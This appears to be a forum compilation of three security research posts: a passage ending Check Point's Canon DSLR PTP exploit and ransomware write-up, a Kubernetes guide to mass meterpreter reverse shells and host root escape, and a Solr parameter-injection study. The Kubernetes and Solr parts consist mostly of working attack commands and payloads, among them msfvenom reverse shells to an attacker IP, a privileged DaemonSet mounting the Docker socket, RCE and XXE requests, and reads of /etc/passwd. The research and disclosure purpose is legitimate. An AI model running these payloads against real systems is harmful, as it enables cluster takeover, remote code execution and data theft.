went over the list of the PTP command handlers again, and this time looked at each one more thoroughly. To our great relief, we found some more vulnerabilities. CVE-2019-6000– Buffer Overflow in SendHostInfo – 0x91E4 PTP Command Name: SendHostInfo PTP Command Opcode: 0x91E4 Looking at the vulnerable code, as seen in Figure 9, it was quite obvious why we missed the vulnerability at first glance. Figure 9 – Vulnerable code snippet from the SendHostInfo handler. This time the developers remembered to check that the message is the intended fixed size of 100 bytes. However, they forgot something crucial. Illegal packets will only be logged, but not dropped. After a quick check in our WiFi testing environment, we did see a crash. The logging function isn’t an assert, and it won’t stop our Stack-Based buffer overflow ? Although this vulnerability is exactly what we were looking for, we once again decided to keep on looking for more, especially as this kind of vulnerability will most likely be found in more than a single command. CVE-2019-6001– Buffer Overflow in SetAdapterBatteryReport – 0x91FD PTP Command Name: SendAdapterBatteryReport PTP Command Opcode: 0x91FD Not only did we find another vulnerability with the same code pattern, this was the last command in the list, giving us a nice finish. Figure 10 shows a simplified version of the vulnerable PTP handler. Figure 10 – Vulnerable code snippet from the SendAdapterBatteryReport handler. In this case, the stack buffer is rather small, so we will continue using the previous vulnerability. Side Note: When testing this vulnerability in the WiFi setup, we found that it also crashes before the function returns. We were only able to exploit it over the USB connection. Loading Scout – Second Attempt Armed with our new vulnerability, we finished our exploit and successfully loaded Scout on the camera. We now have a network debugger, and we can start dumping memory addresses to help us during our reverse engineering process. But, wait a minute, aren’t we done? Our goal was to show that the camera could be hijacked from both USB and WiFi using the Picture Transfer Protocol. While there were minor differences between the two transport layers, in the end the vulnerability we used worked in both cases, thus proving our point. However, taking over the camera was only the first step in the scenario we presented. Now it’s time to create some ransomware. Time for some Crypto Any proper ransomware needs cryptographic functions for encrypting the files that are stored on the device. If you recall, the firmware update process mentioned something about AES encryption. This looks like a good opportunity to finish all of our tasks in one go. This reverse engineering task went much better that we thought it would; not only did we find the AES functions, we also found the verification and decryption keys for the firmware update process. Because AES is a symmetric cipher, the same keys can also be used for encrypting back a malicious firmware update and then signing it so it will pass the verification checks. Instead of implementing all of the complicated cryptographic algorithms ourselves, we used Scout. We implemented a new instruction that simulates a firmware update process, and sends back the cryptographic signatures that the algorithm calculated. Using this instruction, we now know what are the correct signatures for each part in the firmware update file, effectively gaining a signing primitive by the camera itself. Since we only have one camera, this was a tricky part. We want to test our own custom home-made firmware update file, but we don’t want to brick our camera. Luckily for us, in Figure 11 you can see our custom ROM Dumper, created by patching Magic Lantern’s ROM Dumper. Figure 11 – Image of our customized ROM Dumper, using our header. CVE-2019-5995 – Silent malicious firmware update: There is a PTP command for remote firmware update, which requires zero user interaction. This means that even if all of the implementation vulnerabilities are patched, an attacker can still infect the camera using a malicious firmware update file. Wrapping it up After playing around with the firmware update process, we went back to finish our ransomware. The ransomware uses the same cryptographic functions as the firmware update process, and calls the same AES functions in the firmware. After encrypting all of the files on the SD Card, the ransomware displays the ransom message to the user. Chaining everything together requires the attacker to first set-up a rogue WiFi Access Point. This can be easily achieved by first sniffing the network and then faking the AP to have the same name as the one the camera automatically attempts to connect. Once the attacker is within the same LAN as the camera, he can initiate the exploit. Here is a video presentation of our exploit and ransomware. Disclosure Timeline 31 March 2019 – Vulnerabilities were reported to Canon. 14 May 2019 – Canon confirmed all of our vulnerabilities. From this point onward, both parties worked together to patch the vulnerabilities. 08 July 2019 – We verified and approved Canon’s patch. 06 August 2019 – Canon published the patch as part of an official security advisory. Canon’s Security Advisory Here are the links to the official security advisory that was published by Canon: Japanese: https://global.canon/ja/support/security/d-camera.html English: https://global.canon/en/support/security/d-camera.html We strongly recommend everyone to patch their affected cameras. Conclusion During our research we found multiple critical vulnerabilities in the Picture Transfer Protocol as implemented by Canon. Although the tested implementation contains many proprietary commands, the protocol is standardized, and is embedded in other cameras. Based on our results, we believe that similar vulnerabilities can be found in the PTP implementations of other vendors as well. Our research shows that any “smart” device, in our case a DSLR camera, is susceptible to attacks. The combination of price, sensitive contents, and wide-spread consumer audience makes cameras a lucrative target for attackers. A final note about the firmware encryption. Using Magic Lantern’s ROM Dumper, and later using the functions from the firmware itself, we were able to bypass both the encryption and verification. This is a classic example that obscurity does not equal security, especially when it took only a small amount of time to bypass these cryptographic layers. Sursa: https://research.checkpoint.com/say-cheese-ransomware-ing-a-dslr-camera/

Making it Rain shells in Kubernetes August 10th, 2019 Following on from the last post in this series lets setup a rather more ambitious set of reverse shells when attacking a Kubernetes cluster. The scenario here is that we’ve got the ability to create a daemonset object in a target Kubernetes cluster and we’d like to have shells on every node in the cluster which have the Docker socket exposed, so we can get a root shell on every node in the cluster. To do this we’ll need something that’ll easily handle multiple incoming shells, so we’ll turn to the Metasploit Framework and specifically, exploit/multi/handler Step 1: Create the payload We need a Docker image that we can deploy to the cluster which will have our payload to connect back to the listener that we’re going to setup and will run on each node in the cluster. For this we can run msfvenom to setup our payload and then embed that into a Docker image. In this case our pentester machine will be on 192.168.200.1 . To avoid managing all Metasploit’s dependencies we can just run it in a Docker container. This command will generate our payload docker run raesene/metasploit ./msfvenom -p linux/x64/meterpreter_reverse_http LHOST=192.168.200.1 LPORT=8989 -f elf > reverse_shell.elf Setting up the Docker Image Next run this command to get the Docker GPG key into your directory curl https://download.docker.com/linux/ubuntu/gpg > docker.gpg We can now create a Dockerfile to host this shell and upload it to Docker hub. The Dockerfile is a pretty simple one, we’ll need out payload and also the Docker client, for later use. FROM ubuntu:18.04 RUN apt update && apt install -y apt-transport-https ca-certificates curl software-properties-common COPY docker.gpg /docker.gpg RUN apt-key add /docker.gpg RUN add-apt-repository \ "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) \ stable" RUN apt-get install -y docker-ce-cli COPY reverse_shell.elf /reverse_shell.elf RUN chmod +x /reverse_shell.elf CMD ["/reverse_shell.elf"] Build it with (replace raesene below with your own docker hub name) docker build -t raesene/reverse_shell . Then you can login to Docker hub with docker login and upload with docker push raesene/reverse_shell At this point we can test our reverse shell on a single machine by setting up a Metasploit listener and check that all is well. Step 2: Setting up Metasploit to receive our shells On the pentester machine start-up the metasploit console with msfconsole then use exploit/multi/handler and set our variables, in the same way we did with msfvenom earlier set payload linux/x64/meterpreter_reverse_http set LHOST 192.168.200.1 set LPORT 8989 set ExitOnSession false With those set, we can start it up to listen for incoming shells exploit -j Now on a target machine run our shell and we should get that back on the metasploit console docker run raesene/reverse_shell Assuming that’s all working we’re ready to scale it up to our Kubernetes cluster Step 3: Using a Daemonset to compromise a cluster So we want a workload which will run on every node in the cluster, and that’s exactly what a daemonset will do for us. We’ll need a manifest that creates our daemonset and also we want it to expose the Docker socket so we can easily break out of each of our containers to the underlying host. This should work fine, unless the cluster has a PodSecurityPolicy blocking the mounting of the docker socket inside a container. We’ll call our manifest reverse-shell-daemonset.yml and it should contain this :- apiVersion: apps/v1 kind: DaemonSet metadata: name: reverse-shell-daemonset labels: spec: selector: matchLabels: name: reverse-shell-daemonset template: metadata: labels: name: reverse-shell-daemonset spec: tolerations: - key: node-role.kubernetes.io/master effect: NoSchedule containers: - name: revshell image: raesene/reverse-shell volumeMounts: - mountPath: /var/run/docker.sock name: dockersock volumes: - name: dockersock hostPath: path: /var/run/docker.sock Once you’ve got your manifest ready, just apply it to the cluster with kubectl create -f reverse-shell-daemonset.yml Back on your metasploit console you should see your shells pop in, one for each node Getting to root on the nodes So once you’ve got your shells working, you can interact with them from the Metasploit console sessions -l Will show you your active sessions. Then sessions -i 1 Will let you interact with one of them shell should give you a shell inside the container running on one of our nodes. Now the last part is to use the exposed Docker Socket to get a root shell on the underlying host. To Do this we can juse make use of the every handy Most Pointless Docker Command Ever Running docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host and it’ll dump us out to a root shell on the underlying node raesene Security Geek, Penetration Testing, Docker, Ruby, Hillwalking Sursa: https://raesene.github.io/blog/2019/08/10/making-it-rain-shells-in-Kubernetes/

Apache Solr Injection Research Table of Contents Introduction Solr API quick overview Apache Solr Injection Solr Parameters Injection (HTTP smuggling) Exploitation examples Solr Local Parameters Injection Ways to RCE [CVE-2017-12629] Remote Code Execution via RunExecutableListener [CVE-2019-0192] Deserialization of untrusted data via jmx.serviceUrl Attack via deserialization Attack via direct access to JMX [CVE-2019-0193] Remote Code Execution via dataImportHandler [CVE-2012-6612, CVE-2013-6407, CVE-2013-6408] XXE in the Update Handler [CVE-2013-6397] Remote Code execution via XSLT response writer and path traversal [CVE-2017-3163] Arbitrary file read via path traversal attack in ReplicationHandler Black box detection Conclusion Introduction This research is aimed to present a new vulnerability: "Solr parameter Injection" and describe how it may be exploited in different scenarios. It also accumulates all public exploits for Apache Solr. Apache Solr is an open source enterprise search platform, written in Java, from the Apache Lucene project. Its major features include full-text search, hit highlighting, faceted search, dynamic clustering, and document parsing. You may threat it like a database: you run the server, create a collection, and send different types of data to it (such as text, xml documents, pdf documents, pretty any format). Solr automatically index this data and provide a fast but rich REST API interface to search over it. The only protocol to talk to server is HTTP and yes, it's accessible without authentication by default, which makes it a perfect victim for SSRF, CSRF and HTTP Request Smuggling attacks. Solr API quick overview When you start a Solr instance (e.g. by using "./bin/solr start -e dih" command) it creates a web server on port 8983: The default example comes with some data inside, so we can immediately search in it. This is a simple query that search for "Apple" keyword in all documents and returns the result in JSON format: A more complex query may look like this: The main parameters here are: /solr/db/select - "db" is the collection name, "/select" means we would like to perform a search operation handled by the SearchHandler q={!dismax+df=name}Apple - This query searches for the "name" field containing the "Apple" keyword, using the "dismax" query parser. The data between braces is parsed as Solr local parameters fl=*,score,similar:[subquery] - "fl" stands for field list to be returned, the [subquery] transformer allows to include data from another search query to the resulted document. In our case the subquery searches for the "computer" keyword. Apart from the search, there is a possibility to perform update operation, view and modify the config, or even perform a replication. If we have access to the Solr Web Interface, we can upload and modify any data and do almost any operation. By default, there is no users or roles, which makes it a perfect target for SSRF, CSRF and HTTP Request Smuggling attacks. Apache Solr Injection Like a database, in most cases, the Solr Rest API is not directly accessible to end users and used only internally by other applications. In these cases, we would like to introduce a couple of new attack against web applications that use Solr. Solr Parameters Injection (HTTP smuggling) If a target web application uses untrusted user input when making HTTP API calls to Solr, it potentially does not properly encode the data with URL Encoding. Here is a simple java web application that accepts just one "q" parameter and performs a search operation by making a server-to-server HTTP request to Solr: @RequestMapping("/search") @Example(uri = "/search?q=Apple") public Object search1(@RequestParam String q) { //search the supplied keyword inside solr String solr = "http://solrserver/solr/db/"; String query = "/select?q=" + q + "&fl=id,name&rows=10"; return http.get(solr + query); } Since there is no URL encoding applied to this parameter, by sending payloads such as 'q=123%26param1=xxx%26param2=yyy' it is possible to inject additional HTTP query parameters to the Solr search request and change the logic how request is processed. The '%26' character here is the encoded version of the '&' character, which is a parameter delimiter in the HTTP query. A normal request from a user to the web app: GET /search?q=Apple Leads to the following request from the web app to the Solr server: GET /solr/db/select?q=Apple A malicious request from a user to the web app: GET /search?q=Apple%26xxx=yyy Leads to the following request from the web app to the Solr server: GET /solr/db/select?q=Apple&xxx=yyy As you can see here, due to the parameter injection vulnerability, the 'q' parameter is decoded by the web app, but not properly encoded in the request to Solr server. So, the main question is what we can do with it? Considering the request will be sent to the '/select' anyway, what parameters we can send to do something malicious on the Sorl side? Well, Solr supports a lot of different query parameters, but for exploitation the most interesting are: shards=http://127.0.0.1:8983/ - by specifying the shards parameter we can make the target Solr server to act as a reverse-proxy, sending this request to another or our own malicious Solr node. It allows attackers to feed arbitrary data to the Solr server, or even reach the firewall protected Admin api. *N.B. Restricted in 7.7.1+ qt=/update - allows to rewrite the handler for the request (from /select to /update or any other). Although the vulnerable application will always send the request to '/solr/db/select' it may create a false developers feeling that this request will be processed as a search request. In fact, by using 'qt' and 'shards' parameters we can reach '/update' or '/config' Solr endpoints. shards.qt=/update - also allows to rewrite the request handler stream.body=xxx - allows to rewrite the full request body. Disabled in the latest versions, but usable if we target outdated Solr. If we can 'smuggle' these parameters to the Solr query, it could be a serious vulnerability that may lead to data modification inside the Solr instance and even RCE in some cases. Exploitation examples The exploit request to change Solr config properties may look like: GET /search?q=Apple&shards=http://127.0.0.1:8983/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}} To query data from another collection GET /solr/db/select?q=orange&shards=http://127.0.0.1:8983/solr/atom&qt=/select?fl=id,name:author&wt=json To update data in another collection: GET /solr/db/select?q=Apple&shards=http://127.0.0.1:8983/solr/atom&qt=/update?stream.body=[%257b%2522id%2522:%25221338%2522,%2522author%2522:%2522orange%2522%257d]%26wt=json&commit=true&wt=json Another way to exploit this vulnerability is to alter the Solr response. The "fl" parameter lists the fields that should be returned by the query. For example, by issuing the following requests we are asking to return only 'name' and 'price' fields: GET /solr/db/select?q=Apple&fl=name,price When this parameter is tainted, we can leverage the ValueAugmenterFactory (fl=name:[value v='xxxx']) to inject additional fields to the document, and specify the injected value ('xxxx') right inside the query. Moreover, in conjunction with the Xml Transformer (fl=name: ) we can parse the provided value on the server side and include it to the result document without escaping. This technique may be used for XSS for example: GET /solr/db/select?indent=on&q=*&wt=xml&fl=price,name:[value+v='<a:script+xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>'],name:[xml] p.s. no XXE here unfortunately (at least in 7.6) p.p.s RawValueTransformerFactory is introduced in solr 5.2+ Solr Local Parameters Injection The more often case when only the "q" (query) parameter comes from the untrusted input and it is properly encoded, for example: @RequestMapping("/search") public Object select(@RequestParam(name = "q") String query) { //search the supplied keyword inside solr and return result| return httprequest(solrURL + "/db/select?q=" + urlencode(query)); } In this case it is still possible to specify the parser type and Solr local parameters used by this parser, e.g.: GET /search?q={!type=_parser_type_+param=value}xxx This attack was described back in 2013, but until 2017 nobody knew how to exploit it. In 2017, we reported CVE-2017-12629 and discovered a way how to trigger XXE by using 'xmlparser' parser and escalate it to the Solr parameters injection vulnerability: GET /search?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://127.0.0.1:/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'} In other Solr versions where CVE-2017-12629 does not work or patched, the local parameters injection is almost harmless. Well, it could probably be used to cause DoS, but even by using lucene syntax we can make heavy queries, so DoS does not really count here. Another potential way to exploit the local parameters injection is to use Join Query Parser to access the data from another collection: GET /search?q={!join from=id fromIndex=anotherCollection to=other_id}Apple But it not always possible as another collection should contain the same IDs. Therefore, until somebody will find a better way to exploit local parameters injection, I would not consider it as a security vulnerability given that CVE-2017-12629 is patched. Ways to RCE Since attackers normally are not interested in data stored within the cluster (it may be non-sensitive), but rather in achieving RCE or local file read. Fortunately, there is a couple of vulnerabilities allowing it: 1. [CVE-2017-12629] Remote Code Execution via RunExecutableListener Target Solr version: 5.5x-5.5.5, 6x-v6.6.2, 7x - v7.1 Requirements: none The attack leverages Solr ConfigApi to add a new RunExecutableListener that executes a shell command. After you added this listener you need to perform an update operation using /update handler to trigger the command execution. There is the public exploit explained, thanks Olga Barinova for sharing ideas how to exploit it. Exploit via direct connection to a Solr server: POST /solr/db/config HTTP/1.1 Host: localhost:8983 Content-Type: application/json Content-Length: 213 { "add-listener" : { "event":"postCommit", "name":"newlistener", "class":"solr.RunExecutableListener", "exe":"nslookup", "dir":"/usr/bin/", "args":["solrx.x.artsploit.com"] } } Exploit via Solr Parameters Injection: GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/config%23&stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"nslookup","dir":"/usr/bin/","args":["solrx.x.artsploit.com"]}}&isShard=true GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/update%23&commit=true Exploit via Solr Local Parameters Injection: GET /solr/db/select?q={!xmlparser+v%3d'<!DOCTYPE+a+SYSTEM+"http%3a//localhost%3a8983/solr/db/select%3fq%3dxxx%26qt%3d/solr/db/config%3fstream.body%3d{"add-listener"%3a{"event"%3a"postCommit","name"%3a"newlistener","class"%3a"solr.RunExecutableListener","exe"%3a"nslookup","dir"%3a"/usr/bin/","args"%3a["solrx.x.artsploit.com"]}}%26shards%3dlocalhost%3a8983/"><a></a>'} GET /solr/db/select?q={!xmlparser+v='<!DOCTYPE+a+SYSTEM+"http://localhost:8983/solr/db/update?commit=true"><a></a>'} For the next exploits we omit the payload strings for "Solr Parameter Injection" and "Solr Parameter Injection", as the logic how they created is the same (using "xmlparser" type in conjunction with "qt" and "stream.body" parameters) 2. [CVE-2019-0192] Deserialization of untrusted data via jmx.serviceUrl Target Solr version: >5? (not sure when config API is introduced) - <7. In version 7 JMX is just ignored. Requirements: Out of band connections from Solr are not firewalled; suitable deserialization gadget exists in the target classpath OR network access to an arbitrary port of the JMX server (this will be opened on the machine where Solr is running during exploitation). ConfigAPI allows to set 'jmx.serviceUrl' property that will create a new JMX MBeans server and register it on the specified RMI/LDAP registry. POST /solr/db/config HTTP/1.1 Host: localhost:8983 Content-Type: application/json Content-Length: 112 { "set-property": { "jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://artsploit.com:1617/jmxrmi" } } Under the hood, It triggers a JNDI call with the 'bind' operation to the target RMI/LDAP/CORBA server. Unlike JNDI 'lookup' operation, remote classloading is not supported for 'bind' operations, so we cannot just return a reference with an external codebase. At the same time, it creates a new unprotected JMX server via JMXConnectorServer.start(): public static MBeanServer findMBeanServerForServiceUrl(String serviceUrl) throws IOException { if (serviceUrl == null) { return null; } MBeanServer server = MBeanServerFactory.newMBeanServer(); JMXConnectorServer connector = JMXConnectorServerFactory .newJMXConnectorServer(new JMXServiceURL(serviceUrl), null, server); connector.start(); return server; } This call ends up to InitialDirContext.bind(serviceUrl) and then to sun.rmi.transport.StreamRemoteCall.executeCall() (if RMI protocol is used), which contains the desired deserialization sink ObjectInputStream.readObject() It allows to perform two types of attacks: 2.a Attack via deserialization A malicious RMI server could respond with an arbitrary object that will be deserialized on the Solr side using java's ObjectInputStream, which is considered unsafe. The easies way to create a mock RMI server is probably to use the 'ysoserial.exploit.JRMPListener' class form the ysoserial tool. Depending on the target classpath, an attacker can use one of the "gadget chains" to trigger Remote Code Execution on the Solr side. One of the known gadget's applicable here is ROME, since Solr contains "contrib/extraction/lib/rome-1.5.1.jar" library for data extraction, but this library is optional and should be included in the Solr config. Jdk7u21 gadget chain is also worth to try to. [Expand to see steps to reproduce] 2.b Attack via direct access to JMX Another way to exploit this vulnerability is to set up an innocent RMI registry (e.g. by using 'rmiregistry' from JDK) and let Solr to register JMX on it. During this, the target SOLR application creates a JMX MBeans server on a random port and reveals this port to the attacker's RMI Registry. If this port is not firewalled, an attacker can deploy a malicious MBean via java_jmx_server metasploit module or by using mjet. It happens due to the JMX Mbeans server is created without any authentication. [Expand to see steps to reproduce] 3. [CVE-2019-0193] Remote Code Execution via dataImportHandler Target Solr version: 1.3 – 8.2 Requirements: DataImportHandler should be enabled, which is not by default Solr has an optional DataImportHandler that is useful to import data from databases or URLs, It is possible to include arbitrary JavaScript code inside the script tag of dataConfig parameter that will be executed on the Solr server for each imported document. Exploit via direct connection to the Solr server: [Expand to see the properly encoded request] When you test it, make sure the url specified in the 'entity' section is accessible from the Solr side and returns a valid XML document for Xpath evaluation. Another way to exploit DataImportHandler is to use dataSource type "JdbcDataSource" along with the driver "com.sun.rowset.JdbcRowSetImpl": [Expand to see the properly encoded request] In this way we trigger a deserialization attack with the known gadget chain based on the 'com.sun.rowset.JdbcRowSetImpl' class. It requires two setters to be called for 'jndiName' and 'autoCommit' properties and leads us to the vulnerable 'InitialContext.lookup' operation, so we can exploit it as an ordinary JNDI resolution attack. See our Exploiting JNDI Injections article for more information about JNDI attacks. Solr is based on Jetty, hence the Tomcat trick is not applicable here, but you can rely on remote classloading which was fixed for LDAP just quite recently. 4. [CVE-2012-6612, CVE-2013-6407, CVE-2013-6408] XXE in the Update Handler Target Solr version: 1.3 - 4.1 or 4.3.1 Requirements: none If you have a very old version of Solr, it could also be affected by a trivial XXE in the update handler: POST /solr/db/update HTTP/1.1 Host: 127.0.0.1:8983 Content-Type: application/xml Content-Length: 136 <!DOCTYPE x [<!ENTITY xx SYSTEM "/etc/passwd">]> <add> <doc> <field name="id">&xx;</field> </doc> <doc> </doc> </add> 5. [CVE-2013-6397] Remote Code execution via XSLT response writer and path traversal Target Solr version: 1.3 - 4.1 or 4.3.1 Requirements: ability to upload an XLS file to any directory There is a path traversal vulnerability found by Nicolas Grégoire in 2013, he also wrote a good blogpost about it: GET /solr/db/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../usr/share/ant/etc/ant-update.xsl It could lead to a remote code execution if an attacked has ability to upload a custom XSL file using the above-mentioned XXE or another vulnerability. 6. [CVE-2017-3163] Arbitrary file read via path traversal attack in ReplicationHandler Target Solr version: <5.5.4 and <6.4.1 Requirements: none GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1 There is also an unfixed SSRF here, but with the existence of "shards" feature it's hardly considered as a vulnerability: GET /solr/db/replication?command=fetchindex&masterUrl=http://callback/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb Black box detection Considering the attacks explained above, whenever a bug hunter discovers a search form on the website that looks like a full text search, it is worth to send the following OOB payloads to detect the presence of this vulnerability: GET /xxx?q=aaa%26shards=http://callback_server/solr GET /xxx?q=aaa&shards=http://callback_server/solr GET /xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://callback_server/solr'><a></a>"} Conclusion No matter whether the Solr instance is facing the internet, behind the reverse proxy, or used only by internal web applications, allowing to modify Solr search parameters is a significant security risk. In cases where only a web application who uses Solr is accessible, by exploitation Solr (local) Parameter Injection it is possible to at least modify or view all the data within the Solr cluster, or even exploit known vulnerabilities to achieve remote code execution. Special Thanks Nicolas Grégoire - for the wonderful CVE-2013-6397 Olga Barinova - for the incredible idea how to exploit CVE-2017-12629 Apache Solr Team - for timely fixing all of these vulnerabilities Authors Michael Stepankin, Veracode Research Sursa: https://github.com/artsploit/solr-injection/